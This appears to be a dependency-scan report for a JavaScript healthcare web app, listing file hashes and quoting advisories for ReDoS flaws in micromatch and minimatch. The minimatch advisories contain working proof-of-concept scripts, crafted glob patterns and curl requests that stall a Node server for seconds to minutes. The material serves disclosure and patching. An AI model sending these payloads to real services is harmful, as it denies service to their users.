SHA1: 6c045f35424cb8242dc6d7c963fafe47257a507d
SHA256:0bd9bb2a054fd098b2916fdcc517810afb3cee652e38e2994924da89c5a72fc5
File Path: /github/workspace/src/utils/matrixUtils/matrixSyncManager.js
MD5: 41f8b637fb5ef4150ef4e34e6f549c1c
SHA1: 34b4bb372b653edc816f6a60e71cdfd23690dca6
SHA256:9384023704a32fb3da03a790de2dcdd00e2fd271679faed6af505653fb212600
File Path: /github/workspace/src/utils/matrixUtils/matrixSyncManager.test.js
MD5: 2a969390fe68220551d053e027eafc0d
SHA1: 8949c78db377f29c5370b984aef1d613c937251d
SHA256:d9a93011bddd01a15c600bf4494168e0d6b6f64a8499f8469e247934fd42be07
File Path: /github/workspace/src/redux/services/matrixService/matrixTextFormatting.js
MD5: 7352ba3525eac9e9b6c309e02b07c9d3
SHA1: 66e8b8db31de892faf47efbacdb637ef3d3fb9c2
SHA256:d93bb740d79cf65944031f4aec29e796e1c62769b6f7a8d9ced9323aa311a420
File Path: /github/workspace/src/redux/services/matrixService/matrixTextFormatting.test.js
MD5: 632db1eb4f91c8c22b4cdec7a1b7b9dd
SHA1: d8546f4ceacc82509c09e1d296d03f3c5e53497d
SHA256:9d3293e0568214f9cc66cf6ef0ec6ad172f3ac777a474f0d2d43caf2b6259b71
File Path: /github/workspace/src/utils/matrixUtils/matrixTimelineSqlite.js
MD5: 2c8ec09c5eaa66b036b3fe5246cb3f88
SHA1: 4f4edcbae3401c039e73da7cadd1f452790713f2
SHA256:c96fe3976526753ada4f3b207fc0d2bd985123b1bd409b0db833aa2430f02ff3
File Path: /github/workspace/src/utils/matrixUtils/matrixUnreadCount.js
MD5: 4f7259119e53d6d433f59bbd6d2c3a77
SHA1: 62234f2edd490607a570e26cc3494395afdfd3b5
SHA256:cb329fbde63c55f9feb81edddb41d9cc26bd70848443bfbb2ee0e3315534d141
File Path: /github/workspace/src/redux/selectors/matrixUnreadSelectors.js
MD5: 7fd2cdfd9de9b468ffd4f779b627b420
SHA1: 146d15c9cb2715d79d63eda8661f17f1905167bd
SHA256:736264ba945fef009d50c7010132e4e815dfccbc009294e7acc500bcd22e43ee
File Path: /github/workspace/src/redux/reducer/medicalReportReducer.js
MD5: 8d78e34f937ba801443466b19de2a659
SHA1: 8f37b88a2b0523a4799ea7617f8bb1d6f3924e4f
SHA256:5605dd9086cc6d68561b783068cb4345830c164004430bfafb734f33d05d53e5
File Path: /github/workspace/src/redux/services/medicalReportService.js
MD5: 8612b1126e169ae318b4501fb2af32c5
SHA1: 459f56945f0dade71497e52181f314b268bbead6
SHA256:91b78ff768f6fd47fd91c7323d8616dd459ecaeb62f1c08f31f45486e558c6e1
File Path: /github/workspace/src/redux/reducer/medicalSettingsReducer.js
MD5: 9521f627f00132034e9c78f9c5e2104b
SHA1: 9b3c80ce6f2ec5f1fccbce8ea5a14df563d3e088
SHA256:d71ce0fdb1668ca47da14d937bb1f202642a5d85771941a90e25589a7a1ca743
File Path: /github/workspace/src/redux/services/medicalSettingsService.js
MD5: c60f8194bfd4bd1621043440ce5b5102
SHA1: 71855cf5fe95cff3e0cfff8aeaf1dfa8da35eba1
SHA256:74de19da4cfba4f416bf3f9d940c5f6ccc086ec2d03018b326bfd05f3f24a15d
File Path: /github/workspace/src/redux/reducer/messagingEventReducer.js
MD5: 7eb64f4eb0340fc5bacf29b6b8574273
SHA1: 3480922c467ab7a291724e0f1742b7d3dccc3a33
SHA256:1760c6385f86906491fd4b1cf06c219ef99f88d6eaf5904352d55958a55a4084
File Path: /github/workspace/src/redux/reducer/messagingEventReducer.test.js
MD5: da5d0be644c3fbde07c172c04d5041c5
SHA1: 069a1187b19d45b393e0adbbdd000311073baa01
SHA256:db58bf14316a1f57f025fe01fa36faf83bce27bca2faee0fe4daab01f4a2d7f7
File Path: /github/workspace/src/redux/services/messagingEventService.js
MD5: 64eda597d98904d3c09440e5f4f4df33
SHA1: 9ded34c09a1fcdfcb075cb0aaf393b505c86424f
SHA256:3c656a3fbfa23a87411a74f4b8c7e1925bf5c6a060df294e9d434af15997ef6b
File Path: /github/workspace/package-lock.json?micromatch
Referenced In Project/Scope: package-lock.json: transitive
The NPM package `micromatch` prior to version 4.0.8 is vulnerable to Regular Expression Denial of Service (ReDoS). The vulnerability occurs in `micromatch.braces()` in `index.js` because the pattern `.*` will greedily match anything. By passing a malicious payload, the pattern matching will keep backtracking to the input while it doesn't find the closing bracket. As the input size increases, the consumption time will also increase until it causes the application to hang or slow down. There was a merged fix but further testing shows the issue persisted prior to https://github.com/micromatch/micromatch/pull/266. This issue should be mitigated by using a safe pattern that won't start backtracking the regular expression due to greedy matching.CWE-1333 Inefficient Regular Expression Complexity
Vulnerable Software & Versions (NPM):
File Path: /github/workspace/package-lock.json?minimatch
Referenced In Project/Scope: package-lock.json: transitive
### Summary
Nested `*()` extglobs produce regexps with nested unbounded quantifiers (e.g. `(?:(?:a|b)*)*`), which exhibit catastrophic backtracking in V8. With a 12-byte pattern `*(*(*(a|b)))` and an 18-byte non-matching input, `minimatch()` stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default `minimatch()` API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects `+()` extglobs equally.
---
### Details
The root cause is in `AST.toRegExpSource()` at [`src/ast.ts#L598`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/ast.ts#L598). For the `*` extglob type, the close token emitted is `)*` or `)?`, wrapping the recursive body in `(?:...)*`. When extglobs are nested, each level adds another `*` quantifier around the previous group:
```typescript
: this.type === '*' && bodyDotAllowed ? `)?`
: `)${this.type}`
```
This produces the following regexps:
| Pattern | Generated regex |
|----------------------|------------------------------------------|
| `*(a\|b)` | `/^(?:a\|b)*$/` |
| `*(*(a\|b))` | `/^(?:(?:a\|b)*)*$/` |
| `*(*(*(a\|b)))` | `/^(?:(?:(?:a\|b)*)*)*$/` |
| `*(*(*(*(a\|b))))` | `/^(?:(?:(?:(?:a\|b)*)*)*)*$/` |
These are textbook nested-quantifier patterns. Against an input of repeated `a` characters followed by a non-matching character `z`, V8's backtracking engine explores an exponential number of paths before returning `false`.
The generated regex is stored on `this.set` and evaluated inside `matchOne()` at [`src/index.ts#L1010`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/index.ts#L1010) via `p.test(f)`. It is reached through the standard `minimatch()` call with no configuration.
Measured times via `minimatch()`:
| Pattern | Input | Time |
|----------------------|--------------------|------------|
| `*(*(a\|b))` | `a` x30 + `z` | ~68,000ms |
| `*(*(*(a\|b)))` | `a` x20 + `z` | ~124,000ms |
| `*(*(*(*(a\|b))))` | `a` x25 + `z` | ~116,000ms |
| `*(a\|a)` | `a` x25 + `z` | ~2,000ms |
Depth inflection at fixed input `a` x16 + `z`:
| Depth | Pattern | Time |
|-------|----------------------|--------------|
| 1 | `*(a\|b)` | 0ms |
| 2 | `*(*(a\|b))` | 4ms |
| 3 | `*(*(*(a\|b)))` | 270ms |
| 4 | `*(*(*(*(a\|b))))` | 115,000ms |
Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.
---
### PoC
Tested on minimatch@10.2.2, Node.js 20.
**Step 1 -- verify the generated regexps and timing (standalone script)**
Save as `poc4-validate.mjs` and run with `node poc4-validate.mjs`:
```javascript
import { minimatch, Minimatch } from 'minimatch'
function timed(fn) {
const s = process.hrtime.bigint()
let result, error
try { result = fn() } catch(e) { error = e }
const ms = Number(process.hrtime.bigint() - s) / 1e6
return { ms, result, error }
}
// Verify generated regexps
for (let depth = 1; depth <= 4; depth++) {
let pat = 'a|b'
for (let i = 0; i < depth; i++) pat = `*(${pat})`
const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString()
console.log(`depth=${depth} "${pat}" -> ${re}`)
}
// depth=1 "*(a|b)" -> /^(?:a|b)*$/
// depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/
// depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/
// depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/
// Safe-length timing (exponential growth confirmation without multi-minute hang)
const cases = [
['*(*(*(a|b)))', 15], // ~270ms
['*(*(*(a|b)))', 17], // ~800ms
['*(*(*(a|b)))', 19], // ~2400ms
['*(*(a|b))', 23], // ~260ms
['*(a|b)', 101], // <5ms (depth=1 control)
]
for (const [pat, n] of cases) {
const t = timed(() => minimatch('a'.repeat(n) + 'z', pat))
console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`)
}
// Confirm noext disables the vulnerability
const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true }))
console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`)
// +() is equally affected
const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))'))
console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)
```
Observed output:
```
depth=1 "*(a|b)" -> /^(?:a|b)*$/
depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/
depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/
depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/
"*(*(*(a|b)))" n=15: 269ms result=false
"*(*(*(a|b)))" n=17: 268ms result=false
"*(*(*(a|b)))" n=19: 2408ms result=false
"*(*(a|b))" n=23: 257ms result=false
"*(a|b)" n=101: 0ms result=false
noext=true: 0ms (should be ~0ms)
"+(+(+(a|b)))" n=18: 6300ms result=false
```
**Step 2 -- HTTP server (event loop starvation proof)**
Save as `poc4-server.mjs`:
```javascript
import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'
const PORT = 3001
http.createServer((req, res) => {
const url = new URL(req.url, `http://localhost:${PORT}`)
const pattern = url.searchParams.get('pattern') ?? ''
const path = url.searchParams.get('path') ?? ''
const start = process.hrtime.bigint()
const result = minimatch(path, pattern)
const ms = Number(process.hrtime.bigint() - start) / 1e6
console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`)
res.writeHead(200, { 'Content-Type': 'application/json' })
res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
}).listen(PORT, () => console.log(`listening on ${PORT}`))
```
Terminal 1 -- start the server:
```
node poc4-server.mjs
```
Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately:
```
curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &
```
Terminal 3 -- send a benign request while the attack is in-flight:
```
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz"
```
**Observed output -- Terminal 2 (attack):**
```
{"result":false,"ms":"64149"}
```
**Observed output -- Terminal 3 (benign, concurrent):**
```
{"result":false,"ms":"0"}
time_total: 63.022047s
```
**Terminal 1 (server log):**
```
[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz"
[2026-02-20T09:42:21.775Z] done in 64149ms result=false
[2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz"
[2026-02-20T09:42:21.779Z] done in 0ms result=false
```
The server reports `"ms":"0"` for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second `time_total` is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.
Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.
---
### Impact
Any context where an attacker can influence the glob pattern passed to `minimatch()` is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.
Depth 3 (`*(*(*(a|b)))`, 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (`*(*(a|b))`, 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.
`+()` extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).
**Mitigation available:** passing `{ noext: true }` to `minimatch()` disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.
CWE-1333 Inefficient Regular Expression ComplexityVulnerable Software & Versions (NPM):
### Summary
`matchOne()` performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent `**` (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where `n` is the number of path segments and `k` is the number of globstars. With k=11 and n=30, a call to the default `minimatch()` API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.
---
### Details
The vulnerable loop is in `matchOne()` at [`src/index.ts#L960`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/index.ts#L960):
```typescript
while (fr < fl) {
..
if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) {
..
return true
}
..
fr++
}
```
When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each `**` multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).
There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning `false` on a non-matching input.
Measured timing with n=30 path segments:
| k (globstars) | Pattern size | Time |
|---------------|--------------|----------|
| 7 | 36 bytes | ~154ms |
| 9 | 46 bytes | ~1.2s |
| 11 | 56 bytes | ~5.4s |
| 12 | 61 bytes | ~9.7s |
| 13 | 66 bytes | ~15.9s |
---
### PoC
Tested on minimatch@10.2.2, Node.js 20.
**Step 1 -- inline script**
```javascript
import { minimatch } from 'minimatch'
// k=9 globstars, n=30 path segments
// pattern: 46 bytes, default options
const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b'
const path = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a'
const start = Date.now()
minimatch(path, pattern)
console.log(Date.now() - start + 'ms') // ~1200ms
```
To scale the effect, increase k:
```javascript
// k=11 -> ~5.4s, k=13 -> ~15.9s
const k = 11
const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b'
const path = Array(30).fill('a').join('/')
minimatch(path, pattern)
```
No special options are required. This reproduces with the default `minimatch()` call.
**Step 2 -- HTTP server (event loop starvation proof)**
The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:
```javascript
// poc1-server.mjs
import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'
const PORT = 3000
const server = http.createServer((req, res) => {
const url = new URL(req.url, `http://localhost:${PORT}`)
if (url.pathname !== '/match') { res.writeHead(404); res.end(); return }
const pattern = url.searchParams.get('pattern') ?? ''
const path = url.searchParams.get('path') ?? ''
const start = process.hrtime.bigint()
const result = minimatch(path, pattern)
const ms = Number(process.hrtime.bigint() - start) / 1e6
res.writeHead(200, { 'Content-Type': 'application/json' })
res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
})
server.listen(PORT)
```
Terminal 1 -- start the server:
```
node poc1-server.mjs
```
Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:
```
curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &
```
Terminal 3 -- while the attack is in-flight, send a benign request:
```
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"
```
**Observed output (Terminal 3):**
```
{"result":true,"ms":"0"}
time_total: 4.132709s
```
The server reports `"ms":"0"` -- the legitimate request itself takes zero processing time. The 4+ second `time_total` is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:
```
{"result":true,"ms":"0"}
time_total: 0.001599s
```
---
### Impact
Any application where an attacker can influence the glob pattern passed to `minimatch()` is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.
CWE-407 Inefficient Algorithmic ComplexityVulnerable Software & Versions (NPM):
### Summary `minimatch` is vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive `*` wildcards followed by a literal character that doesn't appear in the test string. Each `*` compiles to a separate `[^/]*?` regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits. The time complexity is O(4^N) where N is the number of `*` characters. With N=15, a single `minimatch()` call takes ~2 seconds. With N=34, it hangs effectively forever. ### Details _Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._ ### PoC When minimatch compiles a glob pattern, each `*` becomes `[^/]*?` in the generated regex. For a pattern like `***************X***`: ``` /^(?!\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/ ``` When the test string doesn't contain `X`, the regex engine must try every possible way to distribute the characters across all the `[^/]*?` groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) — exponential. ### Impact Any application that passes user-controlled strings to `minimatch()` as the pattern argument is vulnerable to DoS. This includes: - File search/filter UIs that accept glob patterns - `.gitignore`-style filtering with user-defined rules - Build tools that accept glob configuration - Any API that exposes glob matching to untrusted input ---- Thanks to @ljharb for back-porting the fix to legacy versions of minimatch.CWE-1333 Inefficient Regular Expression Complexity
Vulnerable Software & Versions (NPM):
File Path: /github/workspace/src/components/common/view-activity-logs/mockData.js
MD5: 5b4d2504d8a0aa0ca0290a340827fec5
SHA1: b4461b7fac6f7dd26e7a205f93e441daab89a841
SHA256:213bf8ce875047ce6dae3bfb14ad57a38fc0c16a58bae5f8a5662116a476fcdf
File Path: /github/workspace/src/components/pages/features/createCase/CaseInfo/mockData.js
MD5: c7f2237f639fa06b96d6829818714a6c
SHA1: 593dd81dcc6c9e1441c9f9e317ac3f280273c4ef
SHA256:e1bc200ac1544c290cded4f1ede5533521abf60ac0fe8d8f0135463c615422db
File Path: /github/workspace/src/components/pages/features/createCase/SelectExpert/mockData.js
MD5: 7cdea1eb6a6a35fd196e3c37d3ed2da4
SHA1: f2f3b3490865c16577d0c52e8c773c35be21e523
SHA256:c83ca0c3695b40ab3b0e17697650ad5ce70b8247a167141642f93ccc7f003ae3
File Path: /github/workspace/src/components/pages/features/createCase/SelectSpeciality/mockData.js
MD5: 5296e603a997dd1123f116ad170690d7
SHA1: 5d46e0115f9b18bfa24692e4debd99614026d281
SHA256:036515d745a09bb82b2524684222c3b0abf89793e6f0fbf01ace74378e5014c8
File Path: /github/workspace/src/components/pages/features/my-community/mockData.js
MD5: 4bb5cf302c159e6b59cb309d82894749
SHA1: 410e80effae1c4b1bb963729b726fccd55d00921
SHA256:0b6c95358a1ce3fc5951f8dd30d8e9e5ba25bbd2a016f83bf88da9ba4b07d1c6
File Path: /github/workspace/src/components/pages/features/my-library/mockData.js
MD5: 44c785da4f4ab328ec12bef62663e1a8
SHA1: 8416f2864d981070d632d02c946802aa0236cb62
SHA256:cf49ee8d483eb2222a141fa377f3d1eafcad93f2575a1db36acd68f207b5097b
File Path: /github/workspace/src/components/pages/features/my-patients/mockData.js
MD5: 689647fbf3e1eb267c454b479fd4a592
SHA1: 3cf64141df9a95c17a09d68343baa13d915c796c
SHA256:85904e241266cd253ddf22ce5802afda6388e9b81c2faba28a785b41817b8d3f
File Path: /github/workspace/src/components/pages/features/my-requests/mockData.js
MD5: 2e60de3bc4976e2a5bfc9bbbf136df4c
SHA1: a521707ba36dbd0a630954d7361920024de4de40
SHA256:86ab1ef4b975473acf340408caeedbffed315fbfc37082155dba2175dc543676
File Path: /github/workspace/src/components/pages/features/patient/appointments/mockData.js
MD5: 67e4091845da7a97e2fe11624e5eb2a7
SHA1: bec5e66e8a67523c88c2ca2dd867dd79b24005af
SHA256:eaaaab55a34678727952a8869aaeaf12a1281d02a62069f41a1eed76361d6e82
File Path: /github/workspace/src/components/pages/features/secondOpinion/RequestInfo/mockData.js
MD5: 9b5e661ca23ea066c53beaf4e932160c
SHA1: 0decad0eb1845201fd824123d3f91edc9c12ee51
SHA256:d5f5a90e87413747dda9eaa0d61b68ad780c46be500e5a515d28345e7ea38396
File Path: /github/workspace/src/components/pages/features/secondOpinion/SelectExpert/mockData.js
MD5: 3d6300b479f732e0f7fb95effa446161
SHA1: 26b3cd891bdbd4aace30e60f41609fd48441f84a
SHA256:71e6a2ebfb6e1cbcb387049feaee6962d3651672f8402c288fcbe0f27b7129c2
File Path: /github/workspace/src/components/pages/features/settings/billing-info/mockData.js
MD5: 72fdd117bf0783fe7e7bc3c48b4086d8
SHA1: 5ee62a0c3286b5eb87a45112477f157ea06be9c9
SHA256:c0be31a9cf89245423c95ddcbc2ccca3ac860d6416bff721e3df0a6c7364a038
File Path: /github/workspace/src/components/pages/features/synapp-admin/activity-monitoring/mockData.js
MD5: ad584e1084428df397adbdc1e94f6863
SHA1: 0a18738c1d6d8c5b558f891a93aa725b6ca0f38d
SHA256:934651a68df40d3f9733a9e25ebdaae07bc764b26e99bd8586ceb64b3a83c86e
File Path: /github/workspace/src/components/pages/features/synapp-admin/settings/administration/all-users/communities/mockData.js
MD5: 3cdb76037a7dfe5e01dba90df7ee499a
SHA1: 3bc4374950ad814d2b9c29edbacde5faa3a02e21
SHA256:beaade720d9f5c4ab7bc788054c5ef7aa55879f033590d7ee48849d0a1f5afa5
File Path: /github/workspace/src/components/pages/features/synapp-admin/settings/administration/all-users/other-healthcare-professions/mockData.js
MD5: 36b4adccb1a8604a6050842bbcbc5d47
SHA1: 4a380bcf8ad4a3190b66fbc8aca9cd8732f2fe1a
SHA256:25ac8c21a5f1915cda0ce6ce930d13010e0f6f5d618ea409ba519133f7820285
File Path: /github/workspace/src/components/pages/features/synapp-admin/settings/administration/all-users/patients/mockData.js
MD5: 3d250f5edc859736f2aa3c07f66b4bb0
SHA1: 6395c132f0edbd44c3c1dc2e890d872e0e75b96f
SHA256:a16ab913d526dfd573fa26579d79c0b379a07ef66ee4fb0a424e90fd01b1e45b
File Path: /github/workspace/src/components/pages/features/synapp-admin/settings/administration/all-users/patients/patient-view-profile/mockData.js
MD5: fc2c2ca8e0a560f61cbedf728d3a284f
SHA1: 93216e6301f6b4ca91553dc07d8f9996be78d183
SHA256:79bca4c0f994b70b7b6793597bf3e3eeb0d32bc895452fbdee0576722820f98a
File Path: /github/workspace/src/components/pages/features/synapp-admin/settings/administration/all-users/physicians/mockData.js
MD5: 70faa0626eed139fd8273575f86a50d7
SHA1: ce9c1ee45aff9ee156c9f3ebb8679f6388da2386
SHA256:af5ef44b0033c21e2d293689a532a7d3a2b06324f8fd325ca65a199f27054a60
File Path: /github/workspace/src/components/pages/features/synapp-admin/settings/administration/user-roles-and-permissions/manage-discount/mockData.js
MD5: 1b255f59f93ea764c8fa1d4cb9ee1063
SHA1: 986d624352dc7a3a25b1fdc61072b316349370f9
SHA256:3e3179c3f89c6a861ae06cb28b6ba33afbaa07ad5513167aa48e89fa6ecae104
File Path: /github/workspace/src/components/pages/features/synapp-admin/settings/administration/user-roles-and-permissions/user-business-models/mockData.js
MD5: 3c5b049ec6ff87d8ce93211196d40e0b
SHA1: d611e4a9997222f852587e3970776c787d8c1a83
SHA256:558e809378b33a29d0c0650d4869d4fb16aefa370f8c2e23b6452b4667055174
File Path: /github/workspace/src/app/routes/multiRoleRoutes.js
MD5: cb5cf72b4b2f0acbb95881cdfec9042b
SHA1: 47835578ae66e88093b2d79fdcd21d2d154817b7
SHA256:aff401037bc8ab7b4919b2291e6c5431012ec947bed5ed2e5b04fc4c9446923e
File Path: /github/workspace/src/redux/reducer/myCommunityReducer.js
MD5: a85bdd5a307b446b2ef69900400c6f0c
SHA1: 8692d2ecf420f707c66c84a9d10538746584ccdc
SHA256:929045bad7deccf185fd542b0bb4e70643fb8fe194ab07ceb199917c82808af5
File Path: /github/workspace/src/redux/services/myCommunityService.js
MD5: 3bf2854de603b9b24b2a05ab0a4cda0d
SHA1: e86e12f49fd83499b5dd49f1fc73e0129b3d6157
SHA256:d4add88ad2b317ba0da55d1cd7caa1eee24a5156b9dfd7cfe4262879f2e886f2
File Path: /github/workspace/src/components/pages/features/my-community/myCommunityTabs.js
MD5: a56120d49db132eedc9054d5c2ae100f
SHA1: 02d044a644b233c17335c7f179ad7c7c4d8df9d0
SHA256:9a0ff7b84a2a0485f9f3a943e28fbcca465dc505b0e412cda99cc6bfe6c45713
File Path: /github/workspace/src/components/pages/features/author-editor/my-community/myCommunityTabsArr.js
MD5: f8574cf71e78ddf46a61f437f098d84f
SHA1: 2fb0a0f8a8c14cceb46ff51fec343873bcbee6e1
SHA256:aefaf354aabe05b20b51eb765926bab86ba98a65b6b72f6ffbd3b7ce2ffba168
File Path: /github/workspace/src/components/pages/features/synapp-admin/settings/configure-policies/myConfigurePoliciesTabs.js
MD5: d059f7ed60d372bd9633a5eb6772251e
SHA1: c14a27b2fe0a534bd8f6116acdbda4da73aa7da7
SHA256:ab57fba0c4481f9d12ec732ea3dcb5c77b33deab7131343fd6543be5f35e546c
File Path: /github/workspace/src/redux/reducer/myLibraryReducer.js
MD5: 58ef120e582d06e32469007c952bf62b
SHA1: cf1b74ae870ff1cf06b7ef1b956c96e45670f540
SHA256:8f20b77f9e22bf13d09a19d383ebc3abec179c1b3b107c5484431c9609293435
File Path: /github/workspace/src/redux/services/myLibraryService.js
MD5: 19e45d4172ba0dead5ba6192016de358
SHA1: 881023a9a39718dffcac6fc183c47dd71a101521
SHA256:61d378057c6efc9536377dabf8ad06588f71cb59a76ac4d83c012a697e74b09f
File Path: /github/workspace/src/components/pages/features/my-library/myLibraryTabs.js
MD5: 19f312919d1a6e240e5f06c2eac6268e
SHA1: 06432e5ca2b98540e2535ef20449912d1868a144
SHA256:4c6adeb2dd37e931946b9278d0e6c6a316afda4cd7ca03f1f0c43b99d9cb796f
File Path: /github/workspace/src/redux/reducer/myPatientsReducer.js
MD5: 8e3faae7fc0d403e3b261e1aff7ee480
SHA1: 237ab1eadd71f85a885d17cdd538620278ad6b9f
SHA256:403845ea39687a6caff82d4b33985800a0b60d7a1e85eaa9bc362078646eede8
File Path: /github/workspace/src/redux/services/myPatientsService.js
MD5: 37462d188171ddbd48f18b9ce2e42803
SHA1: a6bad27ef9360a1abec5e6ed543d39e79f2a55ca
SHA256:44de87b35b097184a42659d90eb165124538aedb1a1b36e4f647b8de08c07a7c
File Path: /github/workspace/src/components/pages/features/author-editor/all-patients/myPatientsTabs.js
MD5: 3cf3285eb0db52f5046bd8d40a365afd
SHA1: fb6f27291a5435a9b0959624dfc780d04f6844c2
SHA256:6ce8ee5aaedd2a9590457821292ba109b3706c3191531b7a9d042e175dfefc6d
File Path: /github/workspace/src/components/pages/features/my-patients/myPatientsTabs.js
MD5: b9b81de128cebfae13cca6caacf03a47
SHA1: 518e20082934f18a4ff2552886f1a35cac67826f
SHA256:4d93367e781382c1a93a8f8755ee31bde494f3ff102d499420bded0a67f29e83
File Path: /github/workspace/src/redux/reducer/myRequestsReducer.js
MD5: 65a98a2666c449bd99c787c47737c033
SHA1: 153967b01937d606fcc91c5fde2df6bd9185b8a7
SHA256:eaf0b20e6498ebff9aab13ec51fc0c4e0a0cf795169fe55c81189176070b2c28
File Path: /github/workspace/src/redux/services/myRequestsService.js
MD5: 095af1696d899c265de3c0fba96f811f
SHA1: 2ddd26676264f9d60539c2ed0681ccdef1bbbd09
SHA256:238250b601025f123f4cdc7fc8cf0ec55283ce9644de7177a6b01f27458326c8
File Path: /github/workspace/src/components/pages/features/author-editor/all-requests/myRequestsTabs.js
MD5: 3b27623d6793206105a5e2e64924278e
SHA1: fefc0f35692dd842d36bd4ecc2fc1d803e7c6f3b
SHA256:58c0db654484954c339a21c571a7727965d18e24271517492ada289f051d1500
File Path: /github/workspace/src/components/pages/features/my-requests/myRequestsTabs.js
MD5: eebf12d04cacb5b9cb13141a42cf5edb
SHA1: e28cc24c8fbb44d2c359c62e6a4072535c939201
SHA256:4c64abcf22676c9288478242ff84782f73ca841bfa60e9c87a3040a106c1ae81
File Path: /github/workspace/src/components/pages/features/synapp-admin/my-requests/myRequestsTabs.js
MD5: 68d3a8971a47241ebf5f54c6cd4acbb6
SHA1: 039350d1a126bdfed791ae7b2a374927890cbc45
SHA256:bc71209b35820afc8302a99601ad39485f4d9b9732b31148b184e8da900193be
